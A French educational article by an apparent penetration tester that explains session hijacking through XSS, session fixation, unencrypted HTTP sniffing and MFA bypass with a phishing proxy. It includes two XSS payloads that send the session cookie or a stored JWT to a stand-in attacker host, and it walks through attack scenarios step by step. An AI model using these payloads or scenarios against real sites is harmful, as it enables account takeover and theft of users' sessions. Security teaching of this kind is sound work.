Détournement de session (Hijacking) : principes, types d’attaques et exploitations

Le contrôle d’accès est un élément central pour garantir la sécurité des applications web. Il doit reposer sur une authentification robuste et une gestion des sessions tenant compte des divers risques sécurité, comme le détournement de session (session hijacking). 

Exploitation XSS, fixation de session, absence de chiffrement, contournement de MFA, etc.,   il existe de nombreuses techniques pour détourner la session d’un utilisateur. Dans cet article, nous présentons les principales attaques et exploitations.

En quoi consiste le détournement de session ou session hijacking ?

Le détournement de session (ou Session Hijacking) consiste à dérober un accès à une plateforme, sans avoir besoin de collecter l’identifiant et le mot de passe associé au compte.

Lorsqu’un utilisateur se connecte à une plateforme, il reste authentifié pendant un certain temps sans qu’il soit nécessaire de saisir ou de retransmettre systématiquement ses identifiants de connexion. Cela est possible, car le serveur maintient une session active pour l’utilisateur.

Pour faire référence à cette session, le serveur décerne à l’utilisateur un identifiant unique (ID), le plus souvent un cookie de session, ou un Bearer token. Lorsque l’utilisateur va réaliser des actions sur la plateforme, cet ID, stocké dans son navigateur, va systématiquement être transmis au serveur afin qu’il puisse identifier la session correspondante. Cet ID est donc crucial d’un point de vue sécurité, car il permet d’identifier un utilisateur et donc d’accéder à ses données et aux fonctionnalités de la plateforme. En d’autres termes, c’est cet ID qui authentifie l’utilisateur sans que ce dernier ait besoin de fournir ses identifiants.

Le détournement de session consiste donc à dérober cet ID, de manière à prendre possession de la session active.

Quelles sont les attaques courantes de détournement de session ?

Plusieurs attaques peuvent permettre de détourner une session utilisateur. Dans le chapitre suivant, nous verrons en pratique quatre scénarios qui correspondent à des cas de détournement de session courants :

• Exploitation XSS : la vulnérabilité XSS, consistant à injecter du code JavaScript malveillant dans une application, peut être exploitée de manière à voler l’ID de session d’un utilisateur (son cookie de session, son token ou son JWT).
• La fixation de session : l’ID de session fourni par le serveur pour identifier la session de l’utilisateur doit être aléatoire et robuste, pour éviter qu’il ne puisse être deviné via du brute force notamment. Il arrive cependant qu’il soit possible de connaitre à l’avance (avant l’authentification d’un utilisateur), l’ID qui sera attribué à sa session suite à la connexion de ce dernier. Ce défaut d’implémentation s’appelle la fixation de session, car l’ID est « fixé » avant même qu’une session n’y soit rattachée. Si un attaquant connait un ID de ce type, il n’a alors qu’à attendre qu’une session lui soit rattachée pour la détourner.
• Absence de chiffrement TLS (HTTPS) : lorsque le serveur n’implémente pas de chiffrement (plateforme en HTTP plutôt que HTTPS), cela signifie que les communications entre l’utilisateur et la plateforme web sont transmises en clair. Un attaquant qui écoute le réseau pourrait donc intercepter ces communications, et ainsi collecter les ID de session des utilisateurs.
• Contournement de MFA : L’authentification multifacteur (abrégé MFA), consiste à demander un second facteur d’authentification (ou plus) lorsqu’un utilisateur se connecte. Il peut s’agir, par exemple, d’un code envoyé par SMS ou par email. Ce mécanisme est utilisé pour éviter qu’un attaquant ne prenne le contrôle d’un compte utilisateur à partir uniquement de son mot de passe (dans le cas d’une fuite de données, par exemple). Si le détournement de session permet de s’affranchir du mot de passe, il a aussi l’avantage (pour un attaquant) de s’affranchir des multiples facteurs d’authentification. En effet, quand une session est détournée, cela signifie que l’utilisateur a terminé la phase d’authentification. De fait, cela est notamment utilisé dans les attaques d’ingénierie sociale, comme le phishing, car il devient alors possible de collecter la session des utilisateurs suite à la saisie de tous les facteurs d’authentification.

On notera qu’en fonction des technologies utilisées, l’application peut être dite « stateless ». Cela signifie que chaque action réalisée sur l’application est considérée indépendante, car aucun « état » n’est gardé en mémoire par le serveur. Dans ce cas de figure, l’authentification de l’utilisateur n’aboutit pas à une création de session active maintenue côté serveur. En effet, plutôt qu’un identifiant de session, l’utilisateur reçoit alors un token (généralement un JWT, dont la particularité est qu’il contient suffisamment d’information pour pouvoir identifier l’utilisateur à chaque future requête.

Bien qu’il ne s’agisse pas d’une session à proprement parler, dérober ce token revient bel et bien à prendre possession du compte utilisateur. Les scénarios décrits dans cet article sont donc également pertinents pour ce cas de figure (hors « fixation de session »).

Scénarios d’exploitation de détournement de session

Nous allons à présent voir 4 scénarios qui reprennent et illustrent les exemples mentionnés au chapitre précédent. Les deux premiers scénarios mettent en scène des vulnérabilités web, sur des mécanismes différents (applicatif et gestion de sessions) ; le 3eme illustre une attaque classique sur un réseau interne ; et le 4eme fait intervenir une attaque d’ingénierie sociale.

Exploitation d’une vulnérabilité applicative pour détourner une session : cas de la XSS

La vulnérabilité XSS (Cross-Site Scripting) fait partie des vulnérabilités web les plus répandues. Elle permet à un attaquant d’injecter du code JavaScript malveillant dans une application, de manière à ce qu’il soit exécuté par les utilisateurs de la plateforme à leur insu.

L’exploitation la plus courante de cette vulnérabilité consiste à détourner la session de l’utilisateur ciblé, en volant l’élément qui permet d’identifier sa session (son cookie de session ou son token). Concrètement, cela signifie utiliser du code javaScript qui a pour fonction de lire cet ID et de l’envoyer sur un site tiers, contrôlé par l’attaquant.

Dans le scénario suivant, un attaquant C a accès à une plateforme web B, à partir d’un compte utilisateur qu’il a pu créer sur la plateforme. Cette plateforme est vulnérable à une XSS (dite « stockée »), qui va être exploitée par C.

En effet, l’attaquant va insérer du code JavaScript malveillant dans une page du site, qui sera exécuté par tous les utilisateurs consultant cette page. Ce code a une seule fonction : lire le cookie de session stocké dans le navigateur (de la victime, donc) et l’envoyer sur un site distant (malveillant).

Typiquement, le code malveillant pourrait être :

<script>fetch("https://SITE-MALVEILLANT.evil?data="+document.cookie)</script>

Ainsi, l’attaquant peut alors utiliser le cookie collecté, en l’insérant dans son navigateur, de manière à détourner la session de l’utilisateur A.

Toutefois, il y a une limite à ce type d’exploitation. En effet, les cookies de session peuvent disposer de mécanismes de sécurité qui permettent d’empêcher le code JavaScript de le lire (flag « httponly »).

Cette remarque n’est cependant pas vraie lors d’utilisation de tokens d’authentification (de type Bearer ou JWT par exemple) car ils sont stockés dans le navigateur et accessibles en JavaScript. Cela est fonctionnellement logique, car ils sont destinés à être insérés dans les communications par le biais de code JavaScript (légitime). De fait, rien n’empêche dans ce cas d’exfiltrer les tokens sur un site tiers.

Ici, le code malveillant serait de la forme :

<script>fetch("https://SITE-MALVEILLANT.evil?data="+localStorage.getItem('JWT'))</script>

De la même manière qu’avec le cookie de session, l’attaquant peut ensuite utiliser le token pour détourner la session de l’utilisateur.

À noter qu’il s’agit ici d’un cas de XSS stockée, mais que d’autres scénarios peuvent se produire. Par exemple, une exploitation relativement similaire de détournement de session peut permettre d’obtenir un accès sur une plateforme « privée », c’est-à-dire sur laquelle l’attaquant n’a initialement aucun compte et ne peut pas en créer (XSS dite reflétée par exemple).

Exploitation du système d’authentification pour détourner une session : fixation de session

Comme nous l’avons expliqué précédemment, lorsqu’un utilisateur se connecte sur une plateforme, en saisissant son adresse email et son mot de passe par exemple, le serveur lui fournit un identifiant unique qui fait référence à sa session. Il peut arriver que l’on puisse connaitre cet identifiant en avance, et donc détourner la session de l’utilisateur une fois celle-ci attachée.

Voici un scénario basé sur ce mécanisme :

Prenons le cas d’un espace de coworking ou d’une salle de réunion avec plusieurs postes de travail. Plusieurs personnes peuvent être amenées à utiliser un même poste, et, in fine, un même navigateur.

Dans notre scénario, plusieurs collaborateurs sont amenés à utiliser successivement un même ordinateur mis à disposition dans une salle de réunion. Ces collaborateurs peuvent utiliser cet ordinateur pour se connecter à l’intranet de l’entreprise, de manière à gérer le planning de réservation de la salle de réunion en question.

L’intranet en question est vulnérable à une fixation de session ; Le workflow des utilisateurs peut être résumé comme suit :

• Lorsque l’utilisateur ouvre la page de l’intranet sur le navigateur, un cookie de session (pour lequel aucune session n’est active) lui est attribué, si aucun cookie n’est déjà présent sur le navigateur. La valeur de ce cookie est considérée aléatoire et robuste.
• L’utilisateur s’identifie sur l’intranet à partir de ses identifiants de connexion. À ce moment, le serveur créé une session sur le compte de l’utilisateur, et rattache cette session au cookie précédemment créé. Il s’agit ici d’un cas de fixation de session : la session de l’utilisateur ne devrait pas être attachée au cookie de session déjà existant. Un nouveau cookie devrait être créé et la session devrait être attachée à ce cookie. Cela est important, car elle garantie que personne n’a pu connaitre la valeur de ce cookie avant qu’il soit lié à la session.
• L’utilisateur navigue sur l’application à sa guise, le cookie de session lui permettant de rester connecté.
• Lorsque l’utilisateur a terminé, il quitte l’application via la fonctionnalité « se déconnecter », qui clôt la session et supprime le cookie.

Un utilisateur C malveillant pourrait détourner la session d’un utilisateur A de la manière suivante :

• L’attaquant charge la page de l’intranet avec l’ordinateur de la salle de réunion. Le serveur lui fournit alors un nouveau cookie, pour lequel aucune session n’est actuellement active.
• Il note la valeur du cookie (accessible dans le navigateur) et quitte les lieux (le navigateur peut être refermé).
• Il attend qu’un autre utilisateur A utilise l’ordinateur pour se connecter à l’intranet.

À cet instant, l’attaquant C connait le cookie de session de l’utilisateur A, car nous avons vu que celui-ci n’était pas changé par le serveur au moment de la connexion.

C peut alors utiliser le cookie de session (en l’insérant dans son propre navigateur par exemple) afin de détourner la session de l’utilisateur A.

Détournement de session sur un réseau interne : absence de chiffrement TLS

Dans ce scénario, l’attaquant est connecté au même réseau que d’autres utilisateurs. Les cas intéressants sont par exemple celui d’un visiteur temporaire dans les locaux d’une entreprise, ou bien l’utilisation de bureaux partagés (espace de coworking).

Dans ce cas, disons que l’utilisateur A est connecté sur une plateforme web qui n’implémente pas le protocole HTTPS. Cette plateforme B est privée et comporte des informations confidentielles à l’entreprise, comme par exemple un intranet ou un CRM. Cette plateforme nécessite une authentification, raison pour laquelle un attaquant C ne peut pas directement consulter son contenu.

Dans le cas le plus simple, l’authentification est réalisée à partir d’un couple login/mot de passe uniquement. Dans ce cas, l’attaquant qui écoute le réseau va être en mesure de collecter ces informations, et les utiliser à son tour pour se connecter. Cependant, cela a plusieurs contraintes :

• Il faudrait intercepter au moment où l’utilisateur se connecte.
• L’identification peut être plus complexe : utilisation de MFA ou d’un SSO.

Prenons le cas où l’authentification est déléguée à un tiers (SSO), c’est-à-dire que l’identifiant et le mot de passe ne sont jamais envoyés directement à la plateforme cible mais à une autre plateforme qui, elle, implémente TLS. Il n’est donc, dans ce scénario, pas possible d’intercepter le mot de passe au moment où il est saisi par l’utilisateur (la communication entre A et le serveur SSO est chiffrée).

Cela n’empêche cependant pas le détournement de session : en effet, l’utilisateur, une fois authentifié par le SSO, va interagir avec le site B. Cette interaction va nécessairement faire intervenir un moyen d’identifier l’utilisateur (généralement un token de session, ou un cookie fourni par l’application). L’attaquant C, en écoutant le réseau, va intercepter cet ID, et va pouvoir l’utiliser pour dérober la session de l’utilisateur, sans avoir à connaitre ses identifiants.

De la même manière, cette méthode permettrait de détourner la session même en cas de MFA, car ces protections interviennent avant que la session ne soit détournée.

Pour plus d’informations sur les attaques courantes sur un réseau interne, vous pouvez consulter notre article : Comment renforcer la sécurité de votre infrastructure réseau pour contrer les attaques les plus courantes ?

Le détournement de session par ingénierie sociale : cas d’un contournement de MFA

La présence de plusieurs facteurs d’authentification peut être une épine dans le pied d’un attaquant. Même si ce dernier parvient à collecter le mot de passe de sa cible, il n’aura pas la possibilité de se connecter à son compte.

Prenons le cas d’une attaque par ingénierie sociale. Un email est envoyé à la cible (phishing), avec une usurpation d’identité sur l’adresse email de l’émetteur. L’email, qui semble provenir du service informatique de l’entreprise, demande de se reconnecter à la plateforme intranet suite à une mise à jour. Un lien est transmis dans le message, et redirige vers une copie de l’intranet. Cette plateforme, à l’insu des victimes, va collecter les mots de passes saisis dans le formulaire de connexion.

Problème pour l’attaquant : lorsqu’il saisit le mot de passe collecté sur la véritable interface intranet, un second facteur d’authentification lui est demandé. Une méthode, pour éviter cet écueil, consisterai à intercepter également le second facteur d’authentification de la victime. Par exemple, la copie malveillante pourrait présenter un second formulaire, demandant de saisir le code (reçu par sms par exemple).  Cette solution a plusieurs inconvénients :

• L’attaquant ne connait pas à l’avance la présence, ni la forme du 2FA. Il ne peut donc pas prévoir le second formulaire conformément à la plateforme légitime, à moins qu’il ait déjà obtenu un mot de passe.
• Certains facteurs ne passent pas directement par l’application web, et ne peuvent donc pas être interceptés. C’est le cas par exemple pour les notifications envoyées sur un smartphone, que l’utilisateur doit confirmer.
• Les codes MFA sont à usage unique, et généralement valides pendant un temps limité. S’il les intercepte, l’attaquant doit donc les utiliser très rapidement, ce qui demande une certaine réactivité / automatisation.

Une alternative de choix pour un attaquant serait de détourner directement la session des utilisateurs, car cela permet d’obtenir l’accès sans avoir besoin de gérer les facteurs d’authentification.

Dans le cadre d’attaques d’ingénierie sociale, les attaquants utilisent pour cela un Serveur Proxy. L’idée est de mettre ce serveur proxy « entre » la victime et la plateforme ciblée, de manière à ce que la victime interagisse avec ce premier, plutôt qu’avec la plateforme. De cette manière, le serveur a la possibilité d’intercepter les échanges, et, in fine, de collecter l’ID de session de l’utilisateur une fois la connexion établie. Techniquement, il ne s’agit pas à proprement parler de l’interception d’un échange destiné à la plateforme (ce qui n’est pas possible à cause du chiffrement TLS). Il s’agit plutôt de relayer les interactions déclenchées par l’utilisateur sur le proxy, vers la plateforme légitime.

Auteur : Cédric CALLY–CABALLERO – Pentester @Vaadata